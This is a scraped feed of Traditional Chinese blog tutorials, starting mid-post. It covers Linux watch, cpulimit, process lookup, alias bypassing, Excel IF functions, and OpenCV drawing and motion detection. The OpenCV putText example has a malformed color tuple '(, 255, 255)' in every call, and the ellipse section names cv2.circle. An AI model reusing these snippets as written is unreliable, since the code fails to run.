如果程式每次執行時所輸出的資料只會有微小的差異，使用 watch 在觀看時可能會不容易發現其中的變化，這時候可以加上 -d 參數，讓 watch 將差異之處反白，讓使用者一眼就可辨識出有變動的部份。\n# 標示輸出差異之處 watch -d ls -l 解析 ANSI 顏色與樣式 有些 Linux 的指令會使用 ANSI 顏色與樣式讓輸出更好看，例如 ls --color 就會把檔案依照類型上色，如果想讓 watch 的輸出也可以呈現惡些顏色與樣式，可以加上 -c 參數：\n# 解析 ANSI 顏色與樣式 watch -c ls --color 監看管線串接的指令 如果要以 watch 監看以管線串接的指令，可以將管線的串接的指令包在引號中，例如：\n# 列出最近有更改過的檔案 watch -n 1 \u0026#34;ls -ltr | tail -n20 | tac | nl\u0026#34; 這個指令會列出目前目錄中的檔案，依照更改時間排序（新更改的檔案放在後面），接著交給 tail 取出最後更動的 20 個檔案，再使用 tac 將檔案反序輸出（將後來更改的檔案排在上方），最後以 nl 加上行號輸出。\n把這個管線串接的指令交給 watch 來執行後，就可以持續監控目前目錄的檔案狀態。\n關閉標頭行 如果不想讓 watch 顯示上方的標頭行，以節省空間，可以加上 -t 參數，例如：\n# 關閉標頭行 watch -t ls 實用範例 從網頁伺服器的紀錄檔篩選出來自於 192.168.0.123 的最新瀏覽紀錄：\nwatch grep -F 192.168.0.123 /var/log/httpd/access_log grep -F 代表不使用正規表示法，以一般文字比對的意思，等同於 fgrep 指令的作用。\n","permalink":"https://blog.gtwang.org/linux/linux-watch-run-command-repeatedly/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統中使用 \u003ccode\u003ewatch\u003c/code\u003e 自動重複執行特定程式，監看輸出結果。\u003c/p\u003e\n\u003cp\u003e當我們在 Linux 的終端機中工作時，有時後會需要重複執行某些固定的指令，查看最新的執行結果，例如在進行網頁伺服器得除錯工作時，我們可能就會重複執行這樣的指令，監看錯誤訊息紀錄檔：\u003c/p\u003e","title":"Linux 以 watch 指令重複執行程式並監看結果教學"},{"content":"這裡介紹 Excel 的 IF 與 IFS 條件判斷函數的用法，並提供實用的範例公式。\nExcel 的 IF 與 IFS 函數可以進行各種條件的判斷，在不同的情況下傳回不同的計算結果，是 Excel 中最熱門且常用的函數之一，以下是 IF 與 IFS 函數的用法語實際應用範例。\nIF 函數 Excel 的 IF 函數是最基本的條件判斷函數，其使用方式為：\n=IF(判斷條件,條件成立傳回值,條件不成立傳回值) 假設我們有一些考試成績的分數，若想用 IF 依據分數來判斷是否及格（60 分以上就判定為及格，否則就是不及格），可以這樣寫：\n=IF(A2\u0026gt;=60,\u0026#34;及格\u0026#34;,\u0026#34;不及格\u0026#34;) 巢狀 IF 判斷式 如果判斷的條件比較複雜，包含多種條件與輸出結果時，可以使用巢狀的 IF 判斷式。\n假設我們想要根據成績來區分等第，規則如下：\n等第 分數區間 優等 分數 \u0026gt;= 90 甲等 80 \u0026lt;= 分數 \u0026lt; 90 乙等 70 \u0026lt;= 分數 \u0026lt; 80 丙等 分數 \u0026lt; 70 像這種多條件的判斷問題，就可以使用多個 IF 組合在一起：\n=IF(A2\u0026gt;=90,\u0026#34;優等\u0026#34;,IF(A2\u0026gt;=80,\u0026#34;甲等\u0026#34;,IF(A2\u0026gt;=70,\u0026#34;乙等\u0026#34;,\u0026#34;丙等\u0026#34;))) 這個巢狀的 IF 結構看似複雜，但是觀念都跟基本的 IF 相同，先從最外層的 IF 開始看起，第一個 IF 會判斷成績是否有 90 分，若有 90 分的話，就直接傳回「優等」，如果沒有 90 分的話，則進入第二層的 IF 判斷式。\n當進入到第二層的 IF 判斷式時，代表成績一定在 90 分以下（因為如果有 90 分，之前就直接傳回「優等」了，不會進到這裡），所以這裡我們只要判斷成績是否有 80 分，若有 80 分的話就傳回「甲等」，否則就再進入下一層 IF 判斷式。\n到了第三層的 IF 時，成績一定在 80 分以下，判斷到這裡的時候，就只剩下「乙等」與「丙等」兩個等第可以選擇了，所以就直接看成績是否有 70 分，若有 70 分就是「乙等」，否則就是「丙等」。\n在撰寫巢狀的 IF 結構時，要注意安排每個 IF 判斷式的順序，以上面這個例子來說，我們判斷分數的順序是從高分開始依序往下判斷，而您也可以從低方開始依序往上判斷，這樣在判斷分數的時候每次只需要檢查一邊的條件，會比要好寫。\n如果沒有按照分數高低的順序來寫的話，在判斷時就會需要使用 AND 函數同時檢查兩邊的條件，問題會變複雜許多，所以建議在撰寫這類的 IF 巢狀結構時，按照順序來寫會比較好。\nAND 函數 AND 函數可以用來判斷兩個條件是否同時成立，若兩個條件同時都成立的話，就傳回 True，否則傳回 False。\n=AND(條件1,條件2) 假設我們現在有兩科不同的考試成績，當兩科的考試成績都在 60 分以上才算及格，否則就是不及格，這種問題就可以使用 IF 搭配 AND 來判斷：\n=IF(AND(A2\u0026gt;=60,B2\u0026gt;=60),\u0026#34;及格\u0026#34;, \u0026#34;不及格\u0026#34;) OR 函數 OR 函數可以用來判斷兩個條件中是否至少有一個是成立的，只要其中一個條件成立（或是兩個都成立），就傳回 True，否則傳回 False。\n=OR(條件1,條件2) 若我們現在只要求兩科的考試成績中，只要有一科達到 60 分就算及格的話，就可以這樣寫：\n=IF(OR(A2\u0026gt;=60,B2\u0026gt;=60),\u0026#34;及格\u0026#34;, \u0026#34;不及格\u0026#34;) NOT 函數 NOT 就是單純將 True 轉為 False、將 False 轉為 True 的函數，以下是個簡單的範例。\n假設所有不是優等的等第，都必須進行補考，可以這樣寫：\n=IF(NOT(B2=\u0026#34;優等\u0026#34;),\u0026#34;是\u0026#34;,\u0026#34;否\u0026#34;) 事實上這個例子也可以改寫一下 IF 判斷式，這樣就可以不需要加上 NOT 函數了：\n=IF(B2=\u0026#34;優等\u0026#34;,\u0026#34;否\u0026#34;,\u0026#34;是\u0026#34;) 大部分的情況下，我們都可以適當改寫判斷的邏輯，省去 NOT 函數，至於是否要這麼做就要看情況而定，建議盡量讓程式好閱讀、好理解為原則。\nIFS 函數 IFS 函數與 IF 函數類似，不過它可以依序檢查許多個不同的條件，傳回符合條件的結果，可用來取代多重巢狀的 IF 結構，讓程式碼更簡潔、好閱讀，不過這個函數只有在 Office 2016 以後才有支援。\n其使用方式為：\n=IFS(條件1,傳回值1,條件2,傳回值2,...) 我們可以將上面判斷成績等第的範例以 IFS 判斷式改寫為：\n=IFS(A2\u0026gt;=90,\u0026#34;優等\u0026#34;,A2\u0026gt;=80,\u0026#34;甲等\u0026#34;,A2\u0026gt;=70,\u0026#34;乙等\u0026#34;,TRUE,\u0026#34;丙等\u0026#34;) 在這個 IFS 的參數中，我們依序把各種等第的條件與傳回值放進去，這樣它就會傳回對應條件的傳回值，如果所有的條件都不成立的話，IFS 就會傳回 #N/A 錯誤。\n如果想要在所有條件都不成立的情況下，傳回指定的值，可將最後一個判斷條件設定為 True，這樣只要前面的條件都沒有符合，就一定會傳回最後一個值，等同於 else 的效果。\n","permalink":"https://blog.gtwang.org/windows/excel-if-ifs-and-or-not-functions-tutorial/","summary":"\u003cp\u003e這裡介紹 Excel 的 \u003ccode\u003eIF\u003c/code\u003e 與 \u003ccode\u003eIFS\u003c/code\u003e 條件判斷函數的用法，並提供實用的範例公式。\u003c/p\u003e\n\u003cp\u003eExcel 的 \u003ccode\u003eIF\u003c/code\u003e 與 \u003ccode\u003eIFS\u003c/code\u003e 函數可以進行各種條件的判斷，在不同的情況下傳回不同的計算結果，是 Excel 中最熱門且常用的函數之一，以下是 \u003ccode\u003eIF\u003c/code\u003e 與 \u003ccode\u003eIFS\u003c/code\u003e 函數的用法語實際應用範例。\u003c/p\u003e","title":"Excel IF 系列函數用法教學：多條件判斷搭配 AND、OR、NOT"},{"content":"CPULimit 是一個可以用來限制程式 CPU 使用量的小工具，我們可以用他來調節 CPU 的用量，避免 CPU 被某些程式佔用。\n在 Linux 系統上執行一個比較需要 CPU 計算的程式時，在沒有特殊的限制之下，程式會盡可能使用系統上剩餘的 CPU 資源，也就是說如果沒有別的程式同時在使用 CPU 的話，100% 的 CPU 資源都會被該程式佔用，如果想要限制程式不要佔用太多的 CPU 資源，就可以使用 CPULimit 這個小工具。\n安裝 CPULimit CPULimit 並不是系統內建的工具使用前要先安裝。在 Debian 或 Ubuntu 系列的 Linux 中，可以使用 apt 來安裝：\nsudo apt-get install cpulimit 若在 RHEL、CentOS 或 Fedora Linux 中，可在啟用 EPEL 套件庫後，再以 yum 安裝：\nsudo yum install cpulimit 限制程式 CPU 使用率 CPULimit 可以限制任何程式的 CPU 使用率，這裡我們拿一行簡單的 md5sum 指令作為示範：\n# 非常耗費 CPU 的程式 md5sum /dev/urandom 這行指令會從 /dev/urandom 讀取亂數的資料，計算其 MD5 檢查碼，這個指令非常耗費 CPU，而且試算不完的，若要中止此程式，請按下 Ctrl + c。\n在這行 md5sum 指令執行之後，我們可以使用 top 指令查看目前系統的狀況，此時 md5sum 的 CPU 用量應該會接近 100%。\n如果想要讓這個 md5sum 程式不要吃掉太多的 CPU 資源，可以使用 cpulimit 來限制其 CPU 用量：\n# 限制 PID 為 21203 的程式其 CPU 用量上限為 50% cpulimit --pid 21203 --limit 50 執行之後，該程式的 CPU 用量就會被控制在 50% 左右。\n另外也可以使用程式的名稱來指定要調整 CPU 用量的程式：\n# 以程式名稱來指定 cpulimit --exe md5sum --limit 50 或是以絕對路徑的方式來指定，這樣可以避免不同程式有相同名稱的問題：\n# 以程式名稱來指定 cpulimit --path /usr/bin/md5sum --limit 50 由於 cpulimit 可在目標程式執行之後再調整 CPU 用量，所以我們可以在發現 CPU 滿載時動態調整，非常方便。\n如果在程式執行前就已經確定要調整 CPU 用量，也可以直接以 cpulimit 來執行程式，例如：\n# 以 cpulimit 直接執行程式 cpulimit --limit 50 -- md5sum /dev/urandom 背景執行 cpulimit 在執行時也會佔用一個終端機，若想讓 cpulimit 在背景執行，可加上 --background 參數：\n# 將 cpulimit 放在背景執行 cpulimit --pid 21203 --limit 50 --background 中止 CPU 用量過高的程式 cpulimit 配合 --limit 參數可以限制程式的 CPU 用量上限值，如果程式超過這個上限值，預設會調節 CPU 用量，而如果想要在 CPU 用量過高時直接中止程式，可以加上 --kill 參數：\n# 中止 CPU 用量過高的程式 cpulimit --pid 21203 --limit 50 --kill 自動離開 在預設的狀況下，cpulimit 在執行時若沒有發現指定的程式（或是指定的程式已經中止了），它還是會持續等待並監控系統的行程，只要有發現符合條件的程式，就會繼續進行 CPU 用量的控制。\n若想讓 cpulimit 在找不到目標程式時自動離開，可以加上 --lazy 參數：\n# 若找不到 md5sum，則離開 cpulimit --exe md5sum --limit 50 --lazy 實用範例 在撰寫 bash 指令稿時，我們可以先執行一個程式，緊接著從 bash 的 $! 變數讀取出前一個執行程式的 PID，這樣就可以不需要在手動查出程式的 PID 了：\n# 執行程式 md5sum /dev/urandom \u0026amp; # 限制上一個執行程式的 CPU 用量 cpulimit --pid $! --limit 50 一般的使用者只能調整自己程式的 CPU 用量，如果以系統管理者權限執行的話，就可以調整所有人的程式 CPU 用量。\n參考資料 Tecmint OSTechNix ","permalink":"https://blog.gtwang.org/linux/limit-cpu-usage-of-a-process-in-linux-with-cpulimit-tool/","summary":"\u003cp\u003eCPULimit 是一個可以用來限制程式 CPU 使用量的小工具，我們可以用他來調節 CPU 的用量，避免 CPU 被某些程式佔用。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上執行一個比較需要 CPU 計算的程式時，在沒有特殊的限制之下，程式會盡可能使用系統上剩餘的 CPU 資源，也就是說如果沒有別的程式同時在使用 CPU 的話，100% 的 CPU 資源都會被該程式佔用，如果想要限制程式不要佔用太多的 CPU 資源，就可以使用 CPULimit 這個小工具。\u003c/p\u003e","title":"CPULimit 限制 Linux 程式 CPU 使用率教學"},{"content":"這裡介紹如何在 Linux 中以程式的名稱來搜尋正在執行的行程，列出各種行程資訊。\nLinux 的系統管理者在監控與管理系統時，時常都會需要查看系統上有哪一些的程式在跑，是否有不正常的行為，必要時也要清除不正常的程式，讓系統運作更順暢。\n以下我們介紹幾種可以根據程式名稱來找出行程的指令與使用方法。\nps 指令 ps 指令可以列出詳細的系行程資訊，我們可以配合 grep 指令，篩選出寒有關鍵字的行程，例如找出所有 Firefox 連覽器的行程：\nps aux | grep firefox 如果指令名稱可能會包含大小寫的英文字母，可以加上 -i 參數，讓比對的時候不分大小寫：\nps aux | grep -i firefox 上面這種搭配 grep 的方式是比較直覺的作法，但是 grep 會對 ps 指令所有的輸出文字進行比對，如果要更精確的只針對指令名稱做比對，可以使用 ps 加上 -C 參數，例如列出所有 Chrome 瀏覽器的行程：\nps -C chrome PID TTY TIME CMD 3569 ? 00:06:46 chrome 3581 ? 00:00:00 chrome 3586 ? 00:00:00 chrome 如果要列出更詳細的行程資訊，可再加上 -f 參數：\nps -fC chrome UID PID PPID C STIME TTY TIME CMD gtwang 3569 1974 5 08:30 ? 00:06:52 /opt/google/chrome/chrome gtwang 3581 3569 0 08:30 ? 00:00:00 /opt/google/chrome/chrome --type=zygote gtwang 3586 3581 0 08:30 ? 00:00:00 /opt/google/chrome/chrome --type=zygote ps 加上 -C 參數會非常精確的比對指令名稱，不含路徑以及後面的參數，所以要用這種方式的話，必須非常確定程式的名稱才行。\npidof 指令 pidof 指令根據指定的程式名稱，列出所有正在執行的行程 ID：\npidof chrome 8547 8048 6672 5563 4151 3872 3854 3786 3745 3738 3652 3642 3586 3581 3569 也可以同時查詢多個程式名稱：\npidof chrome firefox 8547 8048 6672 5563 4151 3872 3854 3786 3745 3738 3652 3642 3586 3581 3569 10295 10242 如果要把查詢到的行程全部砍掉，可以直接將 pidof 的結果交給 kill，這樣就可以一次中止所有指定的程式：\nkill $(pidof chrome firefox) pgrep 指令 pgrep 跟 grep 很類似，可以用關鍵字篩選目前正在執行的行程，例如：\npgrep chrome 3569 3581 3586 若要針對特定使用者的行程進行篩選，可以使用 -u 指定使用者名稱：\npgrep -u gtwang chrome 這樣就會從 gtwang 使用者所執行的程式中，篩選出 Chrome 瀏覽器的行程 ID。\n在使用 pgrep 篩選出行程 ID 之後，若想要看各個行程的詳細資料，可以直接將 PID 導向給 ps 指令，調出指定 PID 的詳細資料：\nps -fp $(pgrep -d, chrome) -d, 的意思在於讓 pgrep 輸出 PID 時以逗點分隔，這樣才能符合 ps 指令要讀取的格式，串起來之後即可輸出我們要的詳細資料：\nUID PID PPID C STIME TTY TIME CMD gtwang 3569 1974 5 08:30 ? 00:10:32 /opt/google/chrome/chrome gtwang 3581 3569 0 08:30 ? 00:00:00 /opt/google/chrome/chrome --type=zygote gtwang 3586 3581 0 08:30 ? 00:00:00 /opt/google/chrome/chrome --type=zygote 如果感覺系統被某些程式拖慢，除了砍掉太耗費資源的程式之外，也可以嘗試使用 renice 指令將程式的執行優先權降低。例如找出所有正在執行的 Chrome 瀏覽器行程，降低其執行優先權：\nrenice +4 $(pgrep chrome) 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-howto-find-process-by-name/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中以程式的名稱來搜尋正在執行的行程，列出各種行程資訊。\u003c/p\u003e\n\u003cp\u003eLinux 的系統管理者在監控與管理系統時，時常都會需要查看系統上有哪一些的程式在跑，是否有不正常的行為，必要時也要清除不正常的程式，讓系統運作更順暢。\u003c/p\u003e","title":"Linux 根據程式名稱找出行程 ID 指令教學"},{"content":"這裡介紹如何在 Linux 系統上繞過 bash 的 alias 設定，直接執行原始的系統指令。\n在 Linux 的 bash shell 中通常都會有一些 alias 設定，這些設定可以讓我們在終端機中使用指令操作時更為方便，減少打字的時間。\n我們可以使用 alias 指令查看目前的 alias 設定：\n# 查看目前 alias 設定 alias alias l='ls -CF' alias la='ls -A' alias ll='ls -alF' alias ls='ls --color=auto' ls 的 alias 是系統上最常見的、而且也是最常用的，大部分的 Linux 系統就算自己沒有設定，也會有這個 alias，他的作用就是自動讓使用者執行 ls 的時候，加上顏色輸出的參數，讓終端機的文字更容易閱讀。\n但是如果我們真的想要讓 ls 的輸出不要有顏色的話，這個 alias 設定就會是一個困擾了，以下介紹幾種可以繞過 alias 設定的方法。\n反斜線 在指令之前加上一個反斜線，就可以繞過 alias 的設定，直接執行該指令，例如：\n# 繞過 alias 設定 \\ls 這樣 ls 就會輸出就沒有顏色了：\n引號 使用雙引號把指令包起來也可以繞過 alias 的設定：\n# 繞過 alias 設定 \u0026#34;ls\u0026#34; 或是用單引號也可以：\n# 繞過 alias 設定 \u0026#39;ls\u0026#39; 路徑 加上指令的路徑，也可以繞過 alias 的設定：\n# 繞過 alias 設定 /bin/ls 若要查詢指令所在的路徑，可以使用 which：\n# 查詢指令所在路徑 which ls /bin/ls 所以我們也可以用 which 查出路徑之後，直接執行它：\n# 查尋指令路徑並執行 `which ls` 以 command 呼叫 command 是 bash 內建的指令，可用來執行指定的指令，透過 command 來執行指令的話，亦可繞過 alias：\n# 繞過 alias 設定 command ls 移除 alias 如覺得某些 alias 沒有太多的用處，當然也可以用 unalias 把它們移除。舉例來說，若要移除 ls 這個 alias 則執行：\n# 移除 alias unalias ls 若要移除所有的 alias 則加上 -a 參數：\n# 移除所有 alias unalias -a 以上使用 unalias 移除 alias 的指令，只會影響目前正在使用的 shell，永久的 alias 的設定通常都寫在 ~/.bashrc 或 ~/.bash_aliases 這類的設定檔中。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-bash-howto-bypass-alias-command/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上繞過 bash 的 alias 設定，直接執行原始的系統指令。\u003c/p\u003e\n\u003cp\u003e在 Linux 的 bash shell 中通常都會有一些 alias 設定，這些設定可以讓我們在終端機中使用指令操作時更為方便，減少打字的時間。\u003c/p\u003e","title":"Linux 如何繞過 Bash 的 Alias 直接執行原始指令？"},{"content":"這裡介紹如何在 Python 中使用 OpenCV 在圖片上加上線條等幾何圖案以及文字標示。\n在影像處理的程式中，若要比較清楚呈現處理的結果，時常會需要在圖片上加上一些標示的幾何圖形或是文字，比方說在物件辨識的問題上，可能會使用方框將辨識出來的物件框起來，並加註一些文字描述等。\n以下我們將介紹 OpenCV 中所提供的幾種繪圖函數，讓我們可以在 Python 程式中快速加上各種標示資訊。\n直線 若要圖片中加入直線，可以使用 cv2.line 函數：\ncv2.line(影像, 開始座標, 結束座標, 顏色, 線條寬度) 以下是一個簡單的範例：\nimport numpy as np import cv2 # 建立一張 512x512 的 RGB 圖片（黑色） img = np.zeros((256, 256, 3), np.uint8) # 將圖片用淺灰色 (200, 200, 200) 填滿 img.fill(200) # 在圖片上畫一條紅色的對角線，寬度為 5 px cv2.line(img, (0, 0), (255, 255), (0, 0, 255), 5) # 顯示圖片 cv2.imshow(\u0026#39;My Image\u0026#39;, img) # 按下任意鍵則關閉所有視窗 cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果會像這樣：\n方框 繪製方框可以使用 cv2.rectangle 函數：\ncv2.rectangle(影像, 頂點座標, 對向頂點座標, 顏色, 線條寬度) 這裡的線條寬度參數若設定為正的值，則代表正常的線條寬度，而若設定為負的值，則代表畫實心的方框。\n以下是接續上面的範例，再加上一個方框的程式碼：\nimport numpy as np import cv2 img = np.zeros((256, 256, 3), np.uint8) img.fill(200) cv2.line(img, (0, 0), (255, 255), (0, 0, 255), 5) # 在圖片上畫一個綠色方框，線條寬度為 2 px cv2.rectangle(img, (20, 60), (120, 160), (0, 255, 0), 2) # 綠色實心方框 cv2.rectangle(img, (40, 80), (100, 140), (0, 255, 0), -1) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n這裡的兩個頂點座標並沒有限制一定要指定為哪兩個頂點，不管是右上、左下，或是左上、右下皆可，我們可以把上面的那一行程式碼改為這樣：\ncv2.rectangle(img, (20, 160), (120, 60), (0, 255, 0), 2) 這兩種寫法雖然不同，但執行的結果都是一樣的。\n圓圈 繪製圓圈可以使用 cv2.circle 函數：\ncv2.circle(影像, 圓心座標, 半徑, 顏色, 線條寬度) 這裡的線條寬度參數若設定為正的值，則代表正常的線條寬度，而若設定為負的值，則代表畫實心的圓圈。\n以下是接續先前範例，加入圓圈的程式碼：\nimport numpy as np import cv2 img = np.zeros((256, 256, 3), np.uint8) img.fill(200) cv2.line(img, (0, 0), (255, 255), (0, 0, 255), 5) cv2.rectangle(img, (20, 60), (120, 160), (0, 255, 0), 2) cv2.rectangle(img, (40, 80), (100, 140), (0, 255, 0), -1) # 黃色圓圈，線條寬度為 3 px cv2.circle(img,(90, 210), 30, (0, 255, 255), 3) # 藍色實心圓圈 cv2.circle(img,(140, 170), 15, (255, 0, 0), -1) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n橢圓形 繪製圓圈可以使用 cv2.circle 函數：\ncv2.ellipse(影像, 中心座標, 軸長, 旋轉角度, 起始角度, 結束角度, 顏色, 線條寬度) 中心座標參數就是橢圓的中心點座標，軸長這個參數可用來指定橢圓的半長軸與半短軸的長度，旋轉角度參數可以讓橢圓自由旋轉。\n起始角度與結束角度兩個參數比較特別，它們是代表要繪製橢圓的那一個部份，如果要畫出一個完整的橢圓，就可以把起始角度設定為 0，結束角度設定為 360，而如果只要畫出一半的橢圓，就可以把起始角度設定為 0，結束角度設定為 180。\n其餘的顏色與校條寬度參數的用法，都與先前介紹的函數相同。\n以下是加入橢圓形的程式碼：\nimport numpy as np import cv2 img = np.zeros((256, 256, 3), np.uint8) img.fill(200) cv2.line(img, (0, 0), (255, 255), (0, 0, 255), 5) cv2.rectangle(img, (20, 60), (120, 160), (0, 255, 0), 2) cv2.rectangle(img, (40, 80), (100, 140), (0, 255, 0), -1) cv2.circle(img,(90, 210), 30, (0, 255, 255), 3) cv2.circle(img,(140, 170), 15, (255, 0, 0), -1) # 傾斜 45 度的紫色橢圓形 cv2.ellipse(img, (180, 200), (25, 55), 45, 0, 360, (205, 0, 255), 2) # 傾斜 45 度的半個實心橢圓 cv2.ellipse(img, (180, 200), (20, 50), 45, 0, 180, (255, 0, 255), -1) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n折線 繪製折線可以使用 cv2.polylines 函數：\ncv2.polylines(影像, 頂點座標, 封閉型, 顏色, 線條寬度) 其中頂點座標就是線段之間的頂點座標，這個參數必須要是一個形狀為 (頂點數量, 1, 2) 的陣列，所以通常在把資料放進 cv2.polylines 函數畫圖之前，會先用 reshape 調整一下（請參考下方的範例）。\n封閉型參數是一個布林值，若設定為 True 的話，它就會自動把最後一個點座標跟第一個點座標連起來，反之就是不連這一條線段。\n以下是使用折線的方式，畫出一個四邊形的程式碼：\nimport numpy as np import cv2 img = np.zeros((256, 256, 3), np.uint8) img.fill(200) cv2.line(img, (0, 0), (255, 255), (0, 0, 255), 5) cv2.rectangle(img, (20, 60), (120, 160), (0, 255, 0), 2) cv2.rectangle(img, (40, 80), (100, 140), (0, 255, 0), -1) cv2.circle(img,(90, 210), 30, (0, 255, 255), 3) cv2.circle(img,(140, 170), 15, (255, 0, 0), -1) cv2.ellipse(img, (180, 200), (25, 55), 45, 0, 360, (205, 0, 255), 2) cv2.ellipse(img, (180, 200), (20, 50), 45, 0, 180, (255, 0, 255), -1) # 設定多邊形頂點座標 pts = np.array([[170, 55], [165, 75], [220, 80], [200, 60]], np.int32) # 將座標轉為 (頂點數量, 1, 2) 的陣列 pts = pts.reshape((-1, 1, 2)) # 繪製多邊形 cv2.polylines(img, [pts], True, (255, 255, 0), 4) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n文字 若要在圖片上加上文字，可以使用 cv2.putText 函數：\ncv2.putText(影像, 文字, 座標, 字型, 大小, 顏色, 線條寬度, 線條種類) 這裡的座標是指文字的左下角座標點，而字型可使用 OpenCV 內建的幾種字型（請看以下範例），大小則是代表字型的縮放比例（例如 1.5 就代表放大 1.5 倍）。\n最後一項線條種類參數可以指定如何繪製線條，若想要有反鋸齒（anti-aliasing）的效果，可設定為 cv2.LINE_AA。這項參數也可以省略不寫，若省略的話預設值為 cv2.LINE_8。\nimport numpy as np import cv2 img = np.zeros((400, 400, 3), np.uint8) img.fill(90) # 文字 text = \u0026#39;Hello, OpenCV!\u0026#39; # 使用各種字體 cv2.putText(img, text, (10, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 80), cv2.FONT_HERSHEY_PLAIN, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 120), cv2.FONT_HERSHEY_DUPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 160), cv2.FONT_HERSHEY_COMPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 200), cv2.FONT_HERSHEY_TRIPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 240), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 280), cv2.FONT_HERSHEY_SCRIPT_SIMPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.putText(img, text, (10, 320), cv2.FONT_HERSHEY_SCRIPT_COMPLEX, 1, (, 255, 255), 1, cv2.LINE_AA) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n使用 TTF 字型檔 OpenCV 所內建的字體很少，如果需要使用到別的字體，可以靠著 PIL 模組，直接從 ttf 字型檔來讀取字體。以下是一個使用中文字型檔，顯示中文字的範例：\nimport numpy as np import cv2 from PIL import ImageFont, ImageDraw, Image img = np.zeros((450, 450, 3), np.uint8) # 將背景設定為大紅色 img[:] = (0, 0, 255) # 文字 text = \u0026#39;招財\\n進寶\u0026#39; # 指定 TTF 字體檔 fontPath = \u0026#34;./康熙字典體.ttf\u0026#34; # 載入字體 font = ImageFont.truetype(fontPath, 192) # 將 NumPy 陣列轉為 PIL 影像 imgPil = Image.fromarray(img) # 在圖片上加入文字 draw = ImageDraw.Draw(imgPil) draw.text((30, 30), text, font = font, fill = (0, 0, 0)) # 將 PIL 影像轉回 NumPy 陣列 img = np.array(imgPil) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 執行的結果為：\n參考資料 OpenCV 的文件 OpenCV 的文件 ","permalink":"https://blog.gtwang.org/programming/opencv-drawing-functions-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Python 中使用 OpenCV 在圖片上加上線條等幾何圖案以及文字標示。\u003c/p\u003e\n\u003cp\u003e在影像處理的程式中，若要比較清楚呈現處理的結果，時常會需要在圖片上加上一些標示的幾何圖形或是文字，比方說在物件辨識的問題上，可能會使用方框將辨識出來的物件框起來，並加註一些文字描述等。\u003c/p\u003e","title":"Python 與 OpenCV 加入線條圖案與文字教學"},{"content":"這裡示範如何使用 Python 與 OpenCV 實作移動偵測程式，分析攝影機影片，自動挑選出有物體移動的畫面。\nOpenCV 是一個很好用的影像處理函式庫，裡面有非常多在影像處理上常會用到的工具函數，我們只需要拿幾個簡單的函數組合起來，就可以打造一個效果還不錯的智慧型監視器，自動且即時的分析攝影機的影像，當偵測到有人或物體在移動時，讓程式自動觸發某些動作（例如送出通知的 Email 等），以下是幾個簡單的實作範例。\n攝影機畫面移動偵測 我們先示範從網路攝影機擷取即時的畫面，偵測畫面中移動的物體，偵測物體的方法是先以移動平均（moving average）演算法計算出背景影像，然後將每幅影格都跟這幅背景影像比較，只要有差異的話，就判斷是有物體在移動。\n而在影像處理的過程，有加入一些模糊化、擴張、縮減等處理，目的就是要減少雜訊干擾、突顯主體，這些步驟與其中的參數都要自己調整。以下是完整的程式碼：\nimport cv2 import numpy as np # 開啟網路攝影機 cap = cv2.VideoCapture(0) # 設定影像尺寸 width = 1280 height = 960 # 設定擷取影像的尺寸大小 cap.set(cv2.CAP_PROP_FRAME_WIDTH, width) cap.set(cv2.CAP_PROP_FRAME_HEIGHT, height) # 計算畫面面積 area = width * height # 初始化平均影像 ret, frame = cap.read() avg = cv2.blur(frame, (4, 4)) avg_float = np.float32(avg) while(cap.isOpened()): # 讀取一幅影格 ret, frame = cap.read() # 若讀取至影片結尾，則跳出 if ret == False: break # 模糊處理 blur = cv2.blur(frame, (4, 4)) # 計算目前影格與平均影像的差異值 diff = cv2.absdiff(avg, blur) # 將圖片轉為灰階 gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY) # 篩選出變動程度大於門檻值的區域 ret, thresh = cv2.threshold(gray, 25, 255, cv2.THRESH_BINARY) # 使用型態轉換函數去除雜訊 kernel = np.ones((5, 5), np.uint8) thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2) thresh = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel, iterations=2) # 產生等高線 cntImg, cnts, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) for c in cnts: # 忽略太小的區域 if cv2.contourArea(c) \u0026lt; 2500: continue # 偵測到物體，可以自己加上處理的程式碼在這裡... # 計算等高線的外框範圍 (x, y, w, h) = cv2.boundingRect(c) # 畫出外框 cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2) # 畫出等高線（除錯用） cv2.drawContours(frame, cnts, -1, (0, 255, 255), 2) # 顯示偵測結果影像 cv2.imshow(\u0026#39;frame\u0026#39;, frame) if cv2.waitKey(1) \u0026amp; 0xFF == ord(\u0026#39;q\u0026#39;): break # 更新平均影像 cv2.accumulateWeighted(blur, avg_float, 0.01) avg = cv2.convertScaleAbs(avg_float) cap.release() 